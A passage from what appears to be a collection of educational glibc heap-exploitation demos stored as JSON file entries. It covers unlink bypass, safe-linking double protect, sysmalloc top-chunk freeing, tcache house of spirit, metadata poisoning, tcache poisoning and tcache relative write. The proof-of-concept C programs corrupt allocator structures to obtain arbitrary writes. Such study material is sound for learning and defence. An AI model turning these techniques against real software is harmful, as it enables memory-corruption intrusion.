bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.36/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.36/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.36/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.36/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.36/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.36/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x918;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger 